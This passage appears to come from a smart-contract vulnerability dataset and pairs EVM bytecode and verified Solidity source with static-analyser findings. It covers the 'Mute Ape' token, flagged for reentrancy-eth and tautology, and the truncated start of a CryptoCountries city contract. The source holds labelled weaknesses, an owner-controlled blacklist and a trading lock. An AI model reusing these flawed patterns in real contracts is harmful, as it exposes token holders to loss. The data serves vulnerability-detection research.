a0057600080fd5b600354604051600160a060020a038085169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3506003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b662386f26fc1000090565b60008082841015610a8257fe5b5050900390565b6000828201838110801590610a9e5750828110155b1515610aa657fe5b93925050505600a165627a7a7230582028e8a141cf66387e56d3fe42bf670b66e2efb75136a17d882e2028850d9a4a9a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,804
0x6c24948723363d5d5ba0e727a07631e753f73adc
/** *Submitted for verification at Etherscan.io on 2022-03-22 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MuteApe is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Mute Ape"; string private constant _symbol = "MuteApe"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 6; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xb2cbb6C7061EDFCcbDA6E865962D4C0cc56F95fb); address payable private _marketingAddress = payable(0xb2cbb6C7061EDFCcbDA6E865962D4C0cc56F95fb); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 30000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104b257600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611adc565b6105fd565b005b34801561020a57600080fd5b506040805180820190915260088152674d7574652041706560c01b60208201525b6040516102389190611ba1565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611bf6565b61069c565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50683635c9adc5dea000005b604051908152602001610238565b3480156102db57600080fd5b506102616102ea366004611c22565b6106b3565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610238565b34801561032d57600080fd5b50601554610291906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611c63565b61071c565b34801561036d57600080fd5b506101fc61037c366004611c90565b610767565b34801561038d57600080fd5b506101fc6107af565b3480156103a257600080fd5b506102c16103b1366004611c63565b6107fa565b3480156103c257600080fd5b506101fc61081c565b3480156103d757600080fd5b506101fc6103e6366004611cab565b610890565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611c63565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610291565b34801561045857600080fd5b506101fc610467366004611c90565b6108cf565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b506040805180820190915260078152664d75746541706560c81b602082015261022b565b3480156104be57600080fd5b506101fc6104cd366004611cab565b610917565b3480156104de57600080fd5b506101fc6104ed366004611cc4565b610946565b3480156104fe57600080fd5b5061026161050d366004611bf6565b610afc565b34801561051e57600080fd5b5061026161052d366004611c63565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610b09565b34801561056357600080fd5b506101fc610572366004611cf6565b610b5d565b34801561058357600080fd5b506102c1610592366004611d7a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611cab565b610bfe565b3480156105e957600080fd5b506101fc6105f8366004611c63565b610c2d565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611db3565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611de8565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611e14565b915050610633565b5050565b60006106a9338484610d17565b5060015b92915050565b60006106c0848484610e3b565b610712843361070d85604051806060016040528060288152602001611f2e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611377565b610d17565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611db3565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611db3565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f7816113b1565b50565b6001600160a01b0381166000908152600260205260408120546106ad906113eb565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611db3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611db3565b674563918244f400008111156107f757601655565b6000546001600160a01b031633146108f95760405162461bcd60e51b815260040161062790611db3565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109415760405162461bcd60e51b815260040161062790611db3565b601855565b6000546001600160a01b031633146109705760405162461bcd60e51b815260040161062790611db3565b60048411156109cf5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610627565b6014821115610a2b5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610627565b6004831115610a8b5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610627565b6014811115610ae85760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610627565b600893909355600a91909155600955600b55565b60006106a9338484610e3b565b6012546001600160a01b0316336001600160a01b03161480610b3e57506013546001600160a01b0316336001600160a01b0316145b610b4757600080fd5b6000610b52306107fa565b90506107f78161146f565b6000546001600160a01b03163314610b875760405162461bcd60e51b815260040161062790611db3565b60005b82811015610bf8578160056000868685818110610ba957610ba9611de8565b9050602002016020810190610bbe9190611c63565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bf081611e14565b915050610b8a565b50505050565b6000546001600160a01b03163314610c285760405162461bcd60e51b815260040161062790611db3565b601755565b6000546001600160a01b03163314610c575760405162461bcd60e51b815260040161062790611db3565b6001600160a01b038116610cbc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610dda5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e9f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610f015760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610f635760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610f8f57506000546001600160a01b03838116911614155b1561127057601554600160a01b900460ff16611028576000546001600160a01b038481169116146110285760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b60165481111561107a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff161580156110bc57506001600160a01b03821660009081526010602052604090205460ff16155b6111145760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146111995760175481611136846107fa565b6111409190611e2f565b106111995760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b60006111a4306107fa565b6018546016549192508210159082106111bd5760165491505b8080156111d45750601554600160a81b900460ff16155b80156111ee57506015546001600160a01b03868116911614155b80156112035750601554600160b01b900460ff165b801561122857506001600160a01b03851660009081526005602052604090205460ff16155b801561124d57506001600160a01b03841660009081526005602052604090205460ff16155b1561126d5761125b8261146f565b47801561126b5761126b476113b1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112b257506001600160a01b03831660009081526005602052604090205460ff165b806112e457506015546001600160a01b038581169116148015906112e457506015546001600160a01b03848116911614155b156112f15750600061136b565b6015546001600160a01b03858116911614801561131c57506014546001600160a01b03848116911614155b1561132e57600854600c55600954600d555b6015546001600160a01b03848116911614801561135957506014546001600160a01b03858116911614155b1561136b57600a54600c55600b54600d555b610bf8848484846115e9565b6000818484111561139b5760405162461bcd60e51b81526004016106279190611ba1565b5060006113a88486611e47565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156114525760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b600061145c611617565b9050611468838261163a565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b7576114b7611de8565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611510573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115349190611e5e565b8160018151811061154757611547611de8565b6001600160a01b03928316602091820292909201015260145461156d9130911684610d17565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115a6908590600090869030904290600401611e7b565b600060405180830381600087803b1580156115c057600080fd5b505af11580156115d4573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115f6576115f661167c565b6116018484846116aa565b80610bf857610bf8600e54600c55600f54600d55565b60008060006116246117a1565b9092509050611633828261163a565b9250505090565b600061146883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117e3565b600c5415801561168c5750600d54155b1561169357565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116bc87611811565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116ee908761186e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461171d90866118b0565b6001600160a01b03891660009081526002602052604090205561173f8161190f565b6117498483611959565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161178e91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117bd828261163a565b8210156117da57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118045760405162461bcd60e51b81526004016106279190611ba1565b5060006113a88486611eec565b600080600080600080600080600061182e8a600c54600d5461197d565b925092509250600061183e611617565b905060008060006118518e8787876119d2565b919e509c509a509598509396509194505050505091939550919395565b600061146883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611377565b6000806118bd8385611e2f565b9050838110156114685760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b6000611919611617565b905060006119278383611a22565b3060009081526002602052604090205490915061194490826118b0565b30600090815260026020526040902055505050565b600654611966908361186e565b60065560075461197690826118b0565b6007555050565b600080808061199760646119918989611a22565b9061163a565b905060006119aa60646119918a89611a22565b905060006119c2826119bc8b8661186e565b9061186e565b9992985090965090945050505050565b60008080806119e18886611a22565b905060006119ef8887611a22565b905060006119fd8888611a22565b90506000611a0f826119bc868661186e565b939b939a50919850919650505050505050565b600082611a31575060006106ad565b6000611a3d8385611f0e565b905082611a4a8583611eec565b146114685760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b8035611ad781611ab7565b919050565b60006020808385031215611aef57600080fd5b823567ffffffffffffffff80821115611b0757600080fd5b818501915085601f830112611b1b57600080fd5b813581811115611b2d57611b2d611aa1565b8060051b604051601f19603f83011681018181108582111715611b5257611b52611aa1565b604052918252848201925083810185019188831115611b7057600080fd5b938501935b82851015611b9557611b8685611acc565b84529385019392850192611b75565b98975050505050505050565b600060208083528351808285015260005b81811015611bce57858101830151858201604001528201611bb2565b81811115611be0576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c0957600080fd5b8235611c1481611ab7565b946020939093013593505050565b600080600060608486031215611c3757600080fd5b8335611c4281611ab7565b92506020840135611c5281611ab7565b929592945050506040919091013590565b600060208284031215611c7557600080fd5b813561146881611ab7565b80358015158114611ad757600080fd5b600060208284031215611ca257600080fd5b61146882611c80565b600060208284031215611cbd57600080fd5b5035919050565b60008060008060808587031215611cda57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d0b57600080fd5b833567ffffffffffffffff80821115611d2357600080fd5b818601915086601f830112611d3757600080fd5b813581811115611d4657600080fd5b8760208260051b8501011115611d5b57600080fd5b602092830195509350611d719186019050611c80565b90509250925092565b60008060408385031215611d8d57600080fd5b8235611d9881611ab7565b91506020830135611da881611ab7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e2857611e28611dfe565b5060010190565b60008219821115611e4257611e42611dfe565b500190565b600082821015611e5957611e59611dfe565b500390565b600060208284031215611e7057600080fd5b815161146881611ab7565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ecb5784516001600160a01b031683529383019391830191600101611ea6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f0957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f2857611f28611dfe565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e07da8ea99c0bf9a5388f6943ed9e41131519a7f95aa377dd00df95439fe676b64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
5,805
0x3012d31fcc4b6a7fa03bb0af1fba9639f405edea
pragma solidity ^0.4.24; /* CryptoCountries.io Cities */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Managed { event DeclareEmergency (string _reason); event ResolveEmergency (); address private addressOfOwner; address[] private addressesOfAdmins; bool private isInEmergency; constructor () public { addressOfOwner = msg.sender; isInEmergency = false; } /* Modifiers */ modifier onlyOwner () { require(addressOfOwner == msg.sender); _; } modifier onlyAdmins () { require(isAdmin(msg.sender)); _; } modifier notEmergency () { require(!isInEmergency); _; } /* Admin */ function transferOwnership (address _owner) onlyOwner() public { clearAdmins(); addressOfOwner = _owner; } function addAdmin (address _admin) onlyOwner() public { addressesOfAdmins.push(_admin); } function removeAdmin (address _admin) onlyOwner() public { require(isAdmin(_admin)); uint256 length = addressesOfAdmins.length; address swap = addressesOfAdmins[length - 1]; uint256 index = 0; for (uint256 i = 0; i < length; i++) { if (addressesOfAdmins[i] == _admin) { index = i; } } addressesOfAdmins[index] = swap; delete addressesOfAdmins[length - 1]; addressesOfAdmins.length--; } function clearAdmins () onlyOwner() public { require(addressesOfAdmins.length > 0); addressesOfAdmins.length = 0; } /* Emergency protocol */ function declareEmergency (string _reason) onlyOwner() public { require(!isInEmergency); isInEmergency = true; emit DeclareEmergency(_reason); } function resolveEmergency () onlyOwner() public { require(isInEmergency); isInEmergency = false; emit ResolveEmergency(); } /* Read */ function owner () public view returns (address _owner) { return addressOfOwner; } function admins () public view returns (address[] _admins) { return addressesOfAdmins; } function emergency () public view returns (bool _emergency) { return isInEmergency; } function isAdmin (address _admin) public view returns (bool _isAdmin) { if (_admin == addressOfOwner) { return true; } for (uint256 i = 0; i < addressesOfAdmins.length; i++) { if (addressesOfAdmins[i] == _admin) { return true; } } return false; } } interface ICountryToken { function ownerOf (uint256) external view returns (address); function priceOf (uint256) external view returns (uint256); } contract CityToken is Managed { using SafeMath for uint256; event List (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); ICountryToken private countryToken; bool private erc721Enabled = false; 